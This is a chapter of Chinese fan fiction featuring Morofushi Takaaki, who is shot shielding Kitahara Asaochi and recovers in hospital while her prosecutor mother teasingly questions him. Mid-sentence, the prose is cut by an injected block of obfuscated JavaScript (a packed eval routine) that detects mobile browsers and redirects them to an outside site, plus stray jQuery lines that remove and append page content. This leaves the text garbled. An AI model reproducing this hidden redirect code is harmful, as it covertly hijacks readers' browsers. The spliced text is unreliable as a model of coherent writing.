在听到北原浅落即将“暴露”自己的一刹那,诸伏景光刚刚做好瞄准准备,顾不了太多,立刻扣下扳机。
所幸,从瞄准镜里看,按照原先计划,命中目标的非致命区域,对方还死不了。
如他所料,耳机里女孩的声音就此打住。
几乎是同时,瞄准镜里出现了警察的身影。
“终于来了。”诸伏景光嘴角上扬,想着下次看北原浅落还怎么否认她和自己哥哥的关系。
正准备收枪撤退,耳机里突然传来一声突兀的枪响。
下一秒,他听到了不同的声音在叫自己哥哥的名字。
*
医院的抢救室外,北原浅落靠着门边的墙闭眼站着。
自从诸伏高明被送入抢救后,她就一直保持这个姿势。
“浅落,坐会吧。”上原由衣拉了拉北原浅落的手臂。
她和大和敢助收到诸伏高明的紧急求救信号后就立刻调转车头往回赶,不料上山的道路已被把守切断。
就在他们想要靠自己硬闯的时候,邻市的警察赶到迅速控制现场,他们因此跟着一道上山救援。
八木茂倒下后,贺川润迅速反应过来,举起枪就对准北原浅落和诸伏高明。
千钧一发之际,诸伏高明转身护住北原浅落,生生扛下了这一枪。
北原浅落摇头:“由衣,我要在这里陪着他。”
靠着墙,他们才真正只有一墙之隔,这样,她似乎能感受到墙内手术室的一举一动。
走廊的拐角处,北原理纱走向在暗中等待手术的诸伏景光。
“我不该掉以轻心的。”诸伏景光看向亮起的手术灯,要是那时候,他没有收枪,就能第一时间发现,在对方开抢前制止。
北原理纱抬手搭上他的肩膀:“这不能怪你,你已经救了他们了,相信你哥哥”
说完,北原理纱拍了拍他的肩膀,走出拐角。
听到熟悉的脚步声,北原浅落睁眼,是她妈。
积蓄已久的眼泪终是忍不住,哗啦啦往下流,一头钻入母亲的怀抱。
“妈……”
北原理纱轻拍女儿的背:“没事的,诸伏君会没事的。”
“妈,你怎么不早点到……”北原浅落动了动脑袋,将眼泪尽数擦到北原理纱的衣服上。
“对不起,是妈来晚了……”北原理纱不禁歉疚,在她的记忆中,北原浅落记事后就很少哭了,更不用说哭得这么厉害了。
但这已经是她和丈夫的最快速度了。
昨晚,在收到北原浅落的消息后,在还没有取得充分证据的情况下,北原修司顶着巨大的压力对一名议员作出审查决定,要求各级警方配合工作,甚至要求公安进行协助。
这样她才能带上诸伏景光过来,才能调动周围县市的警察迅速赶来异地支援。
北原理纱揽着北原浅落在旁边的座椅坐下,陪她等待抢救室内的消息。
不知过了多久,门被打开,北原浅落迅速冲到推出的平车前。
“高明……”
平车上的人挂着点滴,苍白的面容上没有任何反应,北原浅落心一揪,双手用力握住诸伏高明没有插着针管的那只手。
“医生,他……”
“病人麻药效果还没过,等药效过了他就会醒了。”医生简单解释了几句,“放心,我们检查过了,子弹没留在体内,目前没有生命危险了。”
“好,好。”北原浅落急忙跟着护士一起前往诸伏高明的病房。
在场的另外几人听到消息也是心里一松,紧皱的眉头终于舒展。
望着女儿的身影远去,北原理纱长舒了口气,好了,现在,她该去处理这件案子的后续了。她转身看向大和敢助和上原由衣,微微颔首:“抱歉,我有些公务得去处理,他们两个暂时拜托你们照顾一下。”
诸伏高明醒的时候已是黄昏。
几乎是恢复意识的一瞬间,他就感受到一滴温热落在自己手背。
他抬起未受伤的那只手,替北原浅落抹去眼泪,就像之前的许多次那样。
“别哭了,我没事。”
看到诸伏高明醒的刹那,北原浅落恨不得立刻扑入他的怀里一把抱住他,可是想到他身上的伤,她就只能抓住他抬起来的手,用力贴着自己的脸颊。
“这样还叫没事,那什么才是有事?”
见她这样,诸伏高明不禁一笑,苍白的脸上现出几分神采:“那我有事?”
“呸呸呸,不许这么说。”北原浅落立刻回道,眼眶又红了几分。
“好好好,我不说。”诸伏高明从北原浅落掌心抽出手,摸上她的脖颈将她往下带,让她贴着自己胸口,“你听,我没事。”
男人的心跳如鼓点,一下一下击在她的耳膜上。
“咳咳!”
门口传来两声粗犷的咳嗽。
“在医院呢,你们两个注意点。”大和敢助和上原由衣提着晚饭走进病房。
北原浅落连忙直起身,扭头擦了擦自己脸上的泪痕。
“该注意的是你吧,进来都不敲门。”诸伏高明虽然虚弱,说出的话却一如既往不落下风,在北原浅落的帮助下半坐起身。
“行,看来是没什么事了。”大和敢助接过上原由衣的手上的东西放到桌上,“你要是再不醒来,这位检事小姐都要哭成泪人了。”
上原由衣双手搭上北原浅落肩膀,笑着附和:“是,你可是把浅落担心死了。”
北原浅落不禁脸红,站起来走到桌边查看晚饭:“由衣,你们带了什么吃的?”
“就是清淡的粥,还有一些小菜和水果。”
“好了由衣,我们走吧,不要打扰他们两个了。”大和敢助招呼上原由衣往外走,“检事小姐,高明手受伤了,晚饭就麻烦你喂他一下了。”
“是,我会的。”北原浅落从袋子里取出保温饭盒,很自然地应道。
走出病房之前,大和敢助别有意味地看向诸伏高明:“你可要赶紧康复啊,还有事等着你呢。”
凭借对好友的了解,诸伏高明意识到话中有话,可咂摸了会也没想出个所以然,大概是说警局还有事等着他吧。
几天后,诸伏高明的身体已经恢复许多,北原浅落脸上的愁绪一扫而空,前两天还带了个花瓶过来,在病房里边和他聊天边插花。
望着花瓶里依然鲜妍的花朵,诸伏高明不觉嘴角勾起淡淡的弧度。
这时,门被轻轻敲响。
“请进。”
推门而入的是一位穿着深色职业装的陌生中年女性,深褐色的长发优雅地盘起,一双眼睛炯炯有神,闪着睿智的光。
“请问您是?”
“我是宫部,是特搜部派来负责这次八木茂事件的检察官,听说你已经恢复很多了,就来来向你了解一下这次案件的情况。”女人冲她温柔一笑,“请问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382067|179354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你现在方便吗?诸伏警部?”
“是,方便的,宫部检事您请坐。”诸伏高明示意她在椅子上坐下。
“是这样的,”女人从随身的包里取出一台笔记本,“具体是想问一下那天早上你和浅……”
女人不好意思一笑:“我和她妈妈比较熟,平常叫惯了。”
诸伏高明点头表示理解。
“就是想了解你和北原检事在找到优盘后到遇险这段时间的事。”
“好,您请问。”
“据北原检事所说,你们刚发现优盘,吉田刚一就过来警告你们,让你们赶紧离开,是这样吗?”
“是的,吉田署长应该是发现八木茂安插在检察署的眼线看到我们找到了优盘,就马上过来提醒我们离开。”
“那你有看到这个眼线吗?”
“没有,很遗憾,当时我掉以轻心了,没有注意到是谁。”
当时正值上班期间,储物柜附近人来人往,他还真不好说是谁通报的消息。
“这样,那你怀疑过吉田刚一吗?你就没想过他是故意把车给你催你们离开,等你们上山自投罗网?毕竟那条路是出诹访去长野的必经之路。”
“我确实怀疑过吉田署长,”诸伏高明坦白,“特别是在山上听到枪声的时候。但是,不是他。如果是他,根本不用搞得这么麻烦,找个借口让我们去会议室什么的地方控制起来不是更简单方便吗?”
“说的也是,”女人点头,眼中透出赞赏,“诸伏警部,在面临生死抉择的时候,两次你都选择保护北原检事,请问是在什么的驱使下做出这种选择的呢?”
诸伏高明脸色微变,这个问题似乎超出了案件的范畴。
感受到诸伏高明探究的目光,女人坦然一笑:“那我换个更直接的问题吧,诸伏警部,你和浅落是什么关系?男女朋友吗?”
话音刚落,门口传来开门的声音,两人转头看去。
北原浅落买完水果回来,刚推开门就听到自己母亲在问诸伏高明这个彼此早已心知肚明的问题,又羞又恼:“妈!”
诸伏高明大惊:“您是浅落的母亲?”
北原理纱点头一笑:“是,我是她母亲北原理纱,不过在工作上我还是用我的本姓宫部,抱歉刚才没向你说明。”
“您是故意的吧?”北原浅落边吐槽边将水果放下,从桌上拿过杯子给母亲倒水。
“是故意的,”北原理纱毫不犹豫承认,收起笔记本放入袋子,“谁让你一直不和我说诸伏君是你男朋友,那我只能来问诸伏君喽。”
“真是,”北原浅落将杯子递给母亲,“您不是那天就看出来了吗……”
北原理纱不慌不忙喝了口茶:“看出来是一回事,你和我说又是另外一回事。”
看着母女俩的互动,诸伏高明不禁一笑,他算是知道北原浅落有时会突然冒出来的傲娇属性是哪来的了。
“诸伏君,作为母亲,我非常感谢你救了浅落,真的非常感谢。”北原理纱郑重道谢,拉着女儿在邻近的椅子上坐下。
“伯母,不用谢,这是我应该做的,您刚刚不是问我是在什么驱使下做出这种选择的吗?”说着,诸伏高明的目光转向北原浅落,似春日的河水,冬日的雪山。
明明是凉爽的秋季,北原浅落却觉得脸上越来越烫。
“我想,大概是在本能的驱使下吧。”
“这是一种对心爱之人的本能。”